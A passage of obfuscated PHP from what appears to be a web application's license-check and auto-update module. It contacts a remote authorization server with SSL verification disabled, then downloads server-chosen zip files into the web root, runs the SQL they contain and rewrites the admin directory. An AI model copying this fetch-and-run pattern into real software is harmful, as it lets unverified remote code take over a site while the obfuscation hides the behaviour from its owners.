self::AUTH_DOMAIN;$K4pvPA6=$K4pvPA5 . '/api.php/Auth/';$K4pvPA7=$K4pvPA6 . $method;unset($K4ptIA8);$K4ptIA8=$this->curl_request($K4pvPA7,$data,self::METHOD,self::HTTP);$result=$K4ptIA8;$K4pzA1=array();$K4pzA1[]=&$result;$K4pzA1[]=true;$K4peF0=call_user_func_array("json_decode",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$result=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$result;$K4peF0=call_user_func_array("is_array",$K4pzA1);if($K4peF0)goto K4peWjgxcz;goto K4pldMhxcz;K4peWjgxcz:$K4pA5=!empty($result['data']['queue']);if($K4pA5)goto K4peWjgxc2;goto K4pldMhxc2;K4peWjgxc2:unset($K4ptIA5);$K4ptIA5=0;$i=$K4ptIA5;K4pxc3:if(1)goto K4peWjgxcc;goto K4pldMhxcc;K4peWjgxcc:$K4pvPA5=$http . self::AUTH_DOMAIN;$K4pvPA6=$K4pvPA5 . '/api.php/Auth/';$K4pvPA7=$K4pvPA6 . $queueMethod;unset($K4ptIA8);$K4ptIA8=$this->curl_request($K4pvPA7,$data,self::METHOD,self::HTTP);unset($K4ptIA5);$K4ptIA5=$K4ptIA8;$result=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$result;$K4pzA1[]=true;$K4peF0=call_user_func_array("json_decode",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$result=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$result;$K4peF0=call_user_func_array("is_array",$K4pzA1);if($K4peF0)goto K4peWjgxce;goto K4pldMhxce;K4peWjgxce:goto K4peWjgxc6;goto K4pxcd;K4pldMhxce:K4pxcd:goto K4pldMhxc6;K4peWjgxc6:$K4pA5=!empty($result['data']['queue']);if($K4pA5)goto K4peWjgxcg;goto K4pldMhxcg;K4peWjgxcg:goto K4peWjgxc8;goto K4pxcf;K4pldMhxcg:K4pxcf:goto K4pldMhxc8;K4peWjgxc8:$K4poB5=$i;$K4poB6=$i+1;unset($K4ptIA5);$K4ptIA5=$K4poB6;$i=$K4ptIA5;$K4pA5=$i>self::QUEUE_TIME;if($K4pA5)goto K4peWjgxci;goto K4pldMhxci;K4peWjgxci:goto K4peWjgxca;goto K4pxch;K4pldMhxci:K4pxch:goto K4pldMhxca;K4peWjgxca:return false;goto K4pxc9;K4pldMhxca:K4pxc9:goto K4pxc7;K4pldMhxc8:return $result;K4pxc7:goto K4pxc5;K4pldMhxc6:return false;K4pxc5:$K4pzA1=array();$K4pzA1[]=1;$K4peF0=call_user_func_array("sleep",$K4pzA1);goto K4pxc3;goto K4pxcb;K4pldMhxcc:K4pxcb:K4pxc4:goto K4pxc1;K4pldMhxc2:return $result;K4pxc1:goto K4pxby;K4pldMhxcz:K4pxby:return false;}public static function publicDecrypt($encrypted=''){$K4pzA1=array();$K4pzA1[]=&$encrypted;$K4peF0=call_user_func_array("is_string",$K4pzA1);$K4pA5=!$K4peF0;if($K4pA5)goto K4peWjgxck;goto K4pldMhxck;K4peWjgxck:return null;goto K4pxcj;K4pldMhxck:K4pxcj:$K4pzA1=array();$K4pzA1[]=&$encrypted;$K4peFvP0=call_user_func_array("base64_decode",$K4pzA1);if(openssl_public_decrypt($K4peFvP0,$decrypted,self::getPublicKey()))goto K4peWjgxcm;goto K4pldMhxcm;K4peWjgxcm:$K4pA5=$decrypted;goto K4pxcl;K4pldMhxcm:$K4pA5=null;K4pxcl:return $K4pA5;}private function getPublicKey(){unset($K4ptIA5);$K4ptIA5=self::$PUBLIC_KEY;$publicKey=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$publicKey;$K4peF0=call_user_func_array("openssl_pkey_get_public",$K4pzA1);return $K4peF0;}private static function curl_request($url,$data=[],$type='post',$https=false){$K4pzA1=array();$K4peF0=call_user_func_array("curl_init",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$ch=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_HTTP_VERSION;$K4pzA1[]=CURL_HTTP_VERSION_1_1;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_USERAGENT;$K4pzA1[]='Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)';$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_CONNECTTIMEOUT;$K4pzA1[]=30;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_TIMEOUT;$K4pzA1[]=30;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_RETURNTRANSFER;$K4pzA1[]=true;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);if($https)goto K4peWjgxco;goto K4pldMhxco;K4peWjgxco:$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_SSL_VERIFYPEER;$K4pzA1[]=false;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_SSL_VERIFYHOST;$K4pzA1[]=false;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);goto K4pxcn;K4pldMhxco:K4pxcn:$K4pzA1=array();$K4pzA1[]=&$type;$K4peF0=call_user_func_array("strtolower",$K4pzA1);$K4pA5=$K4peF0=='post';if($K4pA5)goto K4peWjgxcq;goto K4pldMhxcq;K4peWjgxcq:$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_POST;$K4pzA1[]=true;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_POSTFIELDS;$K4pzA1[]=&$data;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);goto K4pxcp;K4pldMhxcq:$K4pA5=!empty($data);$K4pA6=(bool)$K4pA5;if($K4pA6)goto K4peWjgxcs;goto K4pldMhxcs;K4peWjgxcs:$K4pzA2=array();$K4pzA2[]=&$data;$K4peF1=call_user_func_array("is_array",$K4pzA2);$K4pA6=(bool)$K4peF1;goto K4pxcr;K4pldMhxcs:K4pxcr:if($K4pA6)goto K4peWjgxct;goto K4pldMhxct;K4peWjgxct:$K4pA5=$url . '?';$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("http_build_query",$K4pzA1);$K4pA6=$K4pA5 . $K4peF0;unset($K4ptIA7);$K4ptIA7=$K4pA6;$url=$K4ptIA7;goto K4pxcp;K4pldMhxct:K4pxcp:$K4pzA1=array();$K4pzA1[]=&$ch;$K4pzA1[]=CURLOPT_URL;$K4pzA1[]=&$url;$K4peF0=call_user_func_array("curl_setopt",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ch;$K4peF0=call_user_func_array("curl_exec",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$result=$K4ptIA5;$K4pA5=$result===false;if($K4pA5)goto K4peWjgxcv;goto K4pldMhxcv;K4peWjgxcv:return false;goto K4pxcu;K4pldMhxcv:K4pxcu:$K4pzA1=array();$K4pzA1[]=&$ch;$K4peF0=call_user_func_array("curl_close",$K4pzA1);return $result;}}$K4pzA1=array();$K4pzA1[]=__FILE__;$K4peFvP0=call_user_func_array("dirname",$K4pzA1);$K4pvPA5=$K4peFvP0 . '/';$K4pzA3=array();$K4pzA3[]='SF_ROOT';$K4pzA3[]=&$K4pvPA5;$K4peF2=call_user_func_array("define",$K4pzA3);$K4pA5=SF_ROOT . 'AuthInfo.php';$K4pA6=include $K4pA5;$K4pA5=new Authorization();unset($K4ptIA6);$K4ptIA6=$K4pA5;$authorization=$K4ptIA6;$K4pA5=$islogin==1;if($K4pA5)goto K4peWjgx2g;goto K4pldMhx2g;K4peWjgx2g:$K4pA5=!empty($_SESSION['SF_CheckAuthResult']);if($K4pA5)goto K4peWjgx2i;goto K4pldMhx2i;K4peWjgx2i:unset($K4ptIA5);$K4ptIA5=$_SESSION['SF_CheckAuthResult'];$result=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$result;$K4peF0=call_user_func_array("is_array",$K4pzA1);if($K4peF0)goto K4peWjgx2k;goto K4pldMhx2k;K4peWjgx2k:unset($K4ptIA5);$K4ptIA5=Authorization::publicDecrypt($result['data']['time']);$time=$K4ptIA5;$K4pA5=$time+Authorization::TIME;$K4pzA1=array();$K4peF0=call_user_func_array("time",$K4pzA1);$K4pA6=$K4pA5>$K4peF0;if($K4pA6)goto K4peWjgx2m;goto K4pldMhx2m;K4peWjgx2m:$K4pA5=$result['code']!=0;if($K4pA5)goto K4peWjgx2o;goto K4pldMhx2o;K4peWjgx2o:Authorization::Message($result['msg']);goto K4px2n;K4pldMhx2o:K4px2n:goto K4px2l;K4pldMhx2m:unset($_SESSION['SF_CheckAuthResult']);K4px2l:goto K4px2j;K4pldMhx2k:unset($_SESSION['SF_CheckAuthResult']);Authorization::Message('链接服务器失败');K4px2j:goto K4px2h;K4pldMhx2i:$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$authorization;$K4pzA2[]="checkInfo";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4phC0;$result=$K4ptIA5;$K4pA5=!$result;if($K4pA5)goto K4peWjgx2q;goto K4pldMhx2q;K4peWjgx2q:Authorization::Message('链接服务器失败');goto K4px2p;K4pldMhx2q:$K4pA5=$result['data']['code']==0;if($K4pA5)goto K4peWjgx2s;goto K4pldMhx2s;K4peWjgx2s:unset($K4ptIA5);$K4ptIA5=$result;$_SESSION['SF_CheckAuthResult']=$K4ptIA5;goto K4px2r;K4pldMhx2s:$K4pA5=$result['data']['code']==1;if($K4pA5)goto K4peWjgx2t;goto K4pldMhx2t;K4peWjgx2t:goto K4px2r;K4pldMhx2t:Authorization::Message($result['msg']);K4px2r:K4px2p:K4px2h:goto K4px2f;K4pldMhx2g:K4px2f:if(isset($_POST['SF_Action']))goto K4peWjgx2v;goto K4pldMhx2v;K4peWjgx2v:$K4pA5=$_POST['SF_Action'];goto K4px2u;K4pldMhx2v:$K4pA5=null;K4px2u:unset($K4ptIA6);$K4ptIA6=$K4pA5;$SF_Action=$K4ptIA6;$K4pA5=!empty($SF_Action);if($K4pA5)goto K4peWjgx2x;goto K4pldMhx2x;K4peWjgx2x:$K4pzA1=array();$K4pzA1[]='update';$K4pzA2=array();$K4pzA2[]=$authorization;$K4pzA2[]="checkInfo";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4phC0;$result=$K4ptIA5;$K4plFkgHhx2y=$SF_Action;$K4pA5=$K4plFkgHhx2y=='check';if($K4pA5)goto K4peWjgx6i;goto K4pldMhx6i;K4peWjgx6i:goto K4pcgFhx3z;goto K4px6h;K4pldMhx6i:K4px6h:$K4pA5=$K4plFkgHhx2y=='update';if($K4pA5)goto K4peWjgx6g;goto K4pldMhx6g;K4peWjgx6g:goto K4pcgFhx33;goto K4px6f;K4pldMhx6g:K4px6f:goto K4px2y;K4pcgFhx3z:$K4pA5=!$result;if($K4pA5)goto K4peWjgx32;goto K4pldMhx32;K4peWjgx32:$K4pzA0=array();$K4pzA0['code']=-1;$K4pzA0['msg']='啊哦,更新服务器开小差了,请刷新此页面。';unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);goto K4px31;K4pldMhx32:$K4pzA1=array();$K4pzA1[]=&$result;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);K4px31:K4pcgFhx33:$K4pA5=!empty($_POST['dirname']);if($K4pA5)goto K4peWjgx35;goto K4pldMhx35;K4peWjgx35:unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$_POST;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx38;goto K4pldMhx38;K4peWjgx38:$K4pcV1=&$_POST['dirname'];goto K4px37;K4pldMhx38:$K4pcV1=$_POST['dirname'];K4px37:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("is_dir",$K4pzA2);$K4pA5=!$K4peF0;if($K4pA5)goto K4peWjgx39;goto K4pldMhx39;K4peWjgx39:$K4pzA0=array();$K4pzA0['code']=2;$K4pzA0['msg']='不存在此目录,请输入正确的后台目录!';unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);goto K4px36;K4pldMhx39:K4px36:unset($K4ptIA5);$K4ptIA5=$_POST['dirname'];$_SESSION['dirname']=$K4ptIA5;goto K4px34;K4pldMhx35:K4px34:$K4pvPA5=ROOT . 'admin';$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("is_dir",$K4pzA1);$K4pA6=!$K4peF0;$K4pA7=(bool)$K4pA6;if($K4pA7)goto K4peWjgx3c;goto K4pldMhx3c;K4peWjgx3c:$K4pA7=(bool)empty($_SESSION['dirname']);goto K4px3b;K4pldMhx3c:K4px3b:if($K4pA7)goto K4peWjgx3d;goto K4pldMhx3d;K4peWjgx3d:$K4pzA0=array();$K4pzA0['code']=2;$K4pzA0['msg']='系统检测到您已更改过后台目录名,请填写您现在的后台目录名,以便更新覆盖!';unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);goto K4px3a;K4pldMhx3d:K4px3a:unset($K4ptIA5);$K4ptIA5=$result['data']['data']['url'];$downloadUrl=$K4ptIA5;unset($K4ptIA5);$K4ptIA5='SF.zip';$ZipFile=$K4ptIA5;unset($K4pEc2);$K4pEc2=array();foreach($result['data']['data']['download'] as $res){$K4pEc2[]=$res;};$K4p2i=0;K4px4e:$K4pzA1=array();$K4pzA1[]=&$K4pEc2;$K4peF0=call_user_func_array("count",$K4pzA1);$K4pA5=$K4p2i<$K4peF0;if($K4pA5)goto K4peWjgx5f;goto K4pldMhx5f;K4peWjgx5f:$K4p2Key=array_keys($K4pEc2);$K4p2Key=$K4p2Key[$K4p2i];unset($K4ptIA5);$K4ptIA5=$K4pEc2[$K4p2Key];$res=$K4ptIA5;$K4pvPA5=$downloadUrl . $res;$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4pzA1[]=&$ZipFile;$K4peF0=call_user_func_array("copy",$K4pzA1);$K4pA6=!$K4peF0;if($K4pA6)goto K4peWjgx5h;goto K4pldMhx5h;K4peWjgx5h:goto K4peWjgx4i;goto K4px5g;K4pldMhx5h:K4px5g:goto K4pldMhx4i;K4peWjgx4i:goto K4peWjgx3f;goto K4px4h;K4pldMhx4i:K4px4h:goto K4pldMhx3f;K4peWjgx3f:$K4pzA0=array();$K4pzA0['code']=-1;$K4pzA0['msg']='无法下载更新包文件!';unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);goto K4px3e;K4pldMhx3f:K4px3e:unset($K4ptIA5);$K4ptIA5='';$addstr=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$ZipFile;$K4pzA1[]=ROOT;$K4peF0=call_user_func_array("zipExtract",$K4pzA1);if($K4peF0)goto K4peWjgx5j;goto K4pldMhx5j;K4peWjgx5j:goto K4peWjgx4k;goto K4px5i;K4pldMhx5j:K4px5i:goto K4pldMhx4k;K4peWjgx4k:goto K4peWjgx3h;goto K4px4j;K4pldMhx4k:K4px4j:goto K4pldMhx3h;K4peWjgx3h:if(function_exists("opcache_reset"))goto K4peWjgx5l;goto K4pldMhx5l;K4peWjgx5l:goto K4peWjgx4m;goto K4px5k;K4pldMhx5l:K4px5k:goto K4pldMhx4m;K4peWjgx4m:goto K4peWjgx3j;goto K4px4l;K4pldMhx4m:K4px4l:goto K4pldMhx3j;K4peWjgx3j:$K4pzA1=array();$K4pzA1[]="error_reporting";$K4peF0=call_user_func_array("ini_get",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$GLOBALS["Ox8117"]=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=0;$K4peF0=call_user_func_array("error_reporting",$K4pzA1);$K4pzA1=array();$K4peF0=call_user_func_array("opcache_reset",$K4pzA1);$K4peRA5=$K4peF0;unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$GLOBALS;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx5n;goto K4pldMhx5n;K4peWjgx5n:goto K4peWjgx4o;goto K4px5m;K4pldMhx5n:K4px5m:goto K4pldMhx4o;K4peWjgx4o:$K4pcV1=&$GLOBALS["Ox8117"];goto K4px4n;K4pldMhx4o:$K4pcV1=$GLOBALS["Ox8117"];K4px4n:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("error_reporting",$K4pzA2);goto K4px3i;K4pldMhx3j:K4px3i:$K4pA5=ROOT . 'update.sql';unset($K4ptIA6);$K4ptIA6=$K4pA5;unset($K4ptIA5);$K4ptIA5=$K4ptIA6;$sqlFile=$K4ptIA5;unset($K4ptIA5);$K4ptIA5=0;$t=$K4ptIA5;unset($K4ptIA5);$K4ptIA5=0;$e=$K4ptIA5;unset($K4ptIA5);$K4ptIA5='';$error=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$sqlFile;$K4peF0=call_user_func_array("is_file",$K4pzA1);if($K4peF0)goto K4peWjgx5p;goto K4pldMhx5p;K4peWjgx5p:goto K4peWjgx4q;goto K4px5o;K4pldMhx5p:K4px5o:goto K4pldMhx4q;K4peWjgx4q:goto K4peWjgx3l;goto K4px4p;K4pldMhx4q:K4px4p:goto K4pldMhx3l;K4peWjgx3l:$K4pzA1=array();$K4pzA1[]=&$sqlFile;$K4peF0=call_user_func_array("file_get_contents",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$sql=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=';';$K4pzA1[]=&$sql;$K4peF0=call_user_func_array("explode",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$sql=$K4ptIA5;unset($K4ptIA5);$K4ptIA5=0;$i=$K4ptIA5;K4px3m:$K4pzA1=array();$K4pzA1[]=&$sql;$K4peF0=call_user_func_array("count",$K4pzA1);$K4pA5=$i<$K4peF0;if($K4pA5)goto K4peWjgx5r;goto K4pldMhx5r;K4peWjgx5r:goto K4peWjgx4s;goto K4px5q;K4pldMhx5r:K4px5q:goto K4pldMhx4s;K4peWjgx4s:goto K4peWjgx3y;goto K4px4r;K4pldMhx4s:K4px4r:goto K4pldMhx3y;K4peWjgx3y:unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$sql;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx5t;goto K4pldMhx5t;K4peWjgx5t:goto K4peWjgx4u;goto K4px5s;K4pldMhx5t:K4px5s:goto K4pldMhx4u;K4peWjgx4u:goto K4peWjgx41;goto K4px4t;K4pldMhx4u:K4px4t:goto K4pldMhx41;K4peWjgx41:goto K4peWjgx3r;goto K4px4z;K4pldMhx41:K4px4z:goto K4pldMhx3r;K4peWjgx3r:$K4pcV1=&$sql[$i];goto K4px3q;K4pldMhx3r:$K4pcV1=$sql[$i];K4px3q:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("trim",$K4pzA2);$K4pA5=$K4peF0=='';if($K4pA5)goto K4peWjgx5v;goto K4pldMhx5v;K4peWjgx5v:goto K4peWjgx4w;goto K4px5u;K4pldMhx5v:K4px5u:goto K4pldMhx4w;K4peWjgx4w:goto K4peWjgx43;goto K4px4v;K4pldMhx4w:K4px4v:goto K4pldMhx43;K4peWjgx43:goto K4peWjgx3s;goto K4px42;K4pldMhx43:K4px42:goto K4pldMhx3s;K4peWjgx3s:goto K4px3n;goto K4px3p;K4pldMhx3s:K4px3p:unset($K4pcV1);$K4pzA5=array();$K4pzA5[]=&$sql;$K4peF4=call_user_func_array("is_array",$K4pzA5);if($K4peF4)goto K4peWjgx5x;goto K4pldMhx5x;K4peWjgx5x:goto K4peWjgx4y;goto K4px5w;K4pldMhx5x:K4px5w:goto K4pldMhx4y;K4peWjgx4y:goto K4peWjgx45;goto K4px4x;K4pldMhx4y:K4px4x:goto K4pldMhx45;K4peWjgx45:goto K4peWjgx3v;goto K4px44;K4pldMhx45:K4px44:goto K4pldMhx3v;K4peWjgx3v:$K4pcV1=&$sql[$i];goto K4px3u;K4pldMhx3v:$K4pcV1=$sql[$i];K4px3u:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4pzA3=array();$K4pzA3[]=$DB;$K4pzA3[]="exec";$K4phC0=call_user_func_array($K4pzA3,$K4pzA2);$K4pA5=$K4phC0!==false;if($K4pA5)goto K4peWjgx6z;goto K4pldMhx6z;K4peWjgx6z:goto K4peWjgx51;goto K4px5y;K4pldMhx6z:K4px5y:goto K4pldMhx51;K4peWjgx51:goto K4peWjgx47;goto K4px5z;K4pldMhx51:K4px5z:goto K4pldMhx47;K4peWjgx47:goto K4peWjgx3w;goto K4px46;K4pldMhx47:K4px46:goto K4pldMhx3w;K4peWjgx3w:$K4poB3=$t+1;unset($K4ptIA5);$K4ptIA5=$K4poB3;$t=$K4ptIA5;$K4poB2=$t;goto K4px3t;K4pldMhx3w:$K4poB4=$e+1;unset($K4ptIA5);$K4ptIA5=$K4poB4;$e=$K4ptIA5;$K4poB3=$e;$K4pzA1=array();$K4pzA2=array();$K4pzA2[]=$DB;$K4pzA2[]="error";$K4phC0=call_user_func_array($K4pzA2,$K4pzA1);$K4pA5=$K4phC0 . '';$K4pA5=$error . $K4pA5;unset($K4ptIA6);$K4ptIA6=$K4pA5;unset($K4ptIA5);$K4ptIA5=$K4ptIA6;$error=$K4ptIA5;$K4pnWA6=$error;K4px3t:K4px3n:$K4poB4=$i;$K4poB5=$i+1;unset($K4ptIA5);$K4ptIA5=$K4poB5;$i=$K4ptIA5;goto K4px3m;goto K4px3x;K4pldMhx3y:K4px3x:K4px3o:$K4pzA1=array();$K4pzA1[]="error_reporting";$K4peF0=call_user_func_array("ini_get",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$GLOBALS["Ox8117"]=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=0;$K4peF0=call_user_func_array("error_reporting",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$sqlFile;$K4peF0=call_user_func_array("unlink",$K4pzA1);$K4peRA5=$K4peF0;unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$GLOBALS;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx62;goto K4pldMhx62;K4peWjgx62:goto K4peWjgx53;goto K4px61;K4pldMhx62:K4px61:goto K4pldMhx53;K4peWjgx53:$K4pcV1=&$GLOBALS["Ox8117"];goto K4px52;K4pldMhx53:$K4pcV1=$GLOBALS["Ox8117"];K4px52:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("error_reporting",$K4pzA2);$K4pA5='数据库更新成功。SQL成功' . $t;$K4pA6=$K4pA5 . '句/失败';$K4pA7=$K4pA6 . $e;$K4pA8=$K4pA7 . '句';unset($K4ptIA9);$K4ptIA9=$K4pA8;unset($K4ptIA5);$K4ptIA5=$K4ptIA9;$addstr=$K4ptIA5;goto K4px3k;K4pldMhx3l:K4px3k:$K4pzA1=array();$K4pzA1[]="error_reporting";$K4peF0=call_user_func_array("ini_get",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$GLOBALS["Ox8117"]=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=0;$K4peF0=call_user_func_array("error_reporting",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ZipFile;$K4peF0=call_user_func_array("unlink",$K4pzA1);$K4peRA5=$K4peF0;unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$GLOBALS;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx64;goto K4pldMhx64;K4peWjgx64:goto K4peWjgx55;goto K4px63;K4pldMhx64:K4px63:goto K4pldMhx55;K4peWjgx55:$K4pcV1=&$GLOBALS["Ox8117"];goto K4px54;K4pldMhx55:$K4pcV1=$GLOBALS["Ox8117"];K4px54:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("error_reporting",$K4pzA2);$K4pvPA5='更新包解压成功' . $addstr;$K4pzA0=array();$K4pzA0['code']=0;$K4pzA0['msg']=$K4pvPA5;unset($K4ptIA6);$K4ptIA6=$K4pzA0;unset($K4ptIA5);$K4ptIA5=$K4ptIA6;$data=$K4ptIA5;$K4pvPA5=ROOT . 'admin';$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("is_dir",$K4pzA1);$K4pA7=(bool)$K4peF0;if($K4pA7)goto K4peWjgx66;goto K4pldMhx66;K4peWjgx66:goto K4peWjgx57;goto K4px65;K4pldMhx66:K4px65:goto K4pldMhx57;K4peWjgx57:goto K4peWjgx4a;goto K4px56;K4pldMhx57:K4px56:goto K4pldMhx4a;K4peWjgx4a:$K4pA6=!empty($_SESSION['dirname']);$K4pA7=(bool)$K4pA6;goto K4px49;K4pldMhx4a:K4px49:if($K4pA7)goto K4peWjgx68;goto K4pldMhx68;K4peWjgx68:goto K4peWjgx59;goto K4px67;K4pldMhx68:K4px67:goto K4pldMhx59;K4peWjgx59:goto K4peWjgx4b;goto K4px58;K4pldMhx59:K4px58:goto K4pldMhx4b;K4peWjgx4b:$K4pvPA5=ROOT . 'admin';$K4pvPA6=ROOT . $_SESSION['dirname'];$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4pzA1[]=&$K4pvPA6;$K4peF0=call_user_func_array("copydirs",$K4pzA1);$K4pvPA5=ROOT . 'admin';$K4pzA1=array();$K4pzA1[]=&$K4pvPA5;$K4peF0=call_user_func_array("rmdirs",$K4pzA1);goto K4px48;K4pldMhx4b:K4px48:$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);goto K4px3g;K4pldMhx3h:$K4pzA1=array();$K4pzA1[]=&$ZipFile;$K4peF0=call_user_func_array("file_exists",$K4pzA1);if($K4peF0)goto K4peWjgx6a;goto K4pldMhx6a;K4peWjgx6a:goto K4peWjgx5b;goto K4px69;K4pldMhx6a:K4px69:goto K4pldMhx5b;K4peWjgx5b:goto K4peWjgx4d;goto K4px5a;K4pldMhx5b:K4px5a:goto K4pldMhx4d;K4peWjgx4d:$K4pzA1=array();$K4pzA1[]="error_reporting";$K4peF0=call_user_func_array("ini_get",$K4pzA1);unset($K4ptIA5);$K4ptIA5=$K4peF0;$GLOBALS["Ox8117"]=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=0;$K4peF0=call_user_func_array("error_reporting",$K4pzA1);$K4pzA1=array();$K4pzA1[]=&$ZipFile;$K4peF0=call_user_func_array("unlink",$K4pzA1);$K4peRA5=$K4peF0;unset($K4pcV1);$K4pzA4=array();$K4pzA4[]=&$GLOBALS;$K4peF3=call_user_func_array("is_array",$K4pzA4);if($K4peF3)goto K4peWjgx6c;goto K4pldMhx6c;K4peWjgx6c:goto K4peWjgx5d;goto K4px6b;K4pldMhx6c:K4px6b:goto K4pldMhx5d;K4peWjgx5d:$K4pcV1=&$GLOBALS["Ox8117"];goto K4px5c;K4pldMhx5d:$K4pcV1=$GLOBALS["Ox8117"];K4px5c:$K4pzA2=array();$K4pzA2[]=&$K4pcV1;$K4peF0=call_user_func_array("error_reporting",$K4pzA2);goto K4px4c;K4pldMhx4d:K4px4c:$K4pzA0=array();$K4pzA0['code']=-1;$K4pzA0['msg']='解压更新包失败,请稍后重试';unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);K4px3g:K4px4f:$K4p2i=$K4p2i+1;goto K4px4e;goto K4px5e;K4pldMhx5f:K4px5e:K4px4g:$K4pzA0=array();$K4pzA0['code']=1;$K4pzA0['msg']='已更新至最新版本';unset($K4ptIA5);$K4ptIA5=$K4pzA0;$data=$K4ptIA5;$K4pA5=!empty($_SESSION['dirname']);if($K4pA5)goto K4peWjgx6e;goto K4pldMhx6e;K4peWjgx6e:unset($_SESSION['dirname']);goto K4px6d;K4pldMhx6e:K4px6d:$K4pzA1=array();$K4pzA1[]=&$data;$K4peF0=call_user_func_array("json_encode",$K4pzA1);exit($K4peF0);K4px2y:goto K4px2w;K4pldMhx2x:$K4pA5=$conf['lt_version']<DB_VERSION;if($K4pA5)goto K4peWjgx6k;goto K4pldMhx6k;K4peWjgx6k:$K4pA5=!$install;if($K4pA5)goto K4peWjgx6m;goto K4pldMhx6m;K4peWjgx6m:$K4pzA1=array();$K4pzA1[]='请先完成网站升级!<a href="/install/update.php"><font color=red>点此升级</font></a>';$K4peF0=call_user_func_array("sysmsg",$K4pzA1);exit();goto K4px6l;K4pldMhx6m:K4px6l:goto 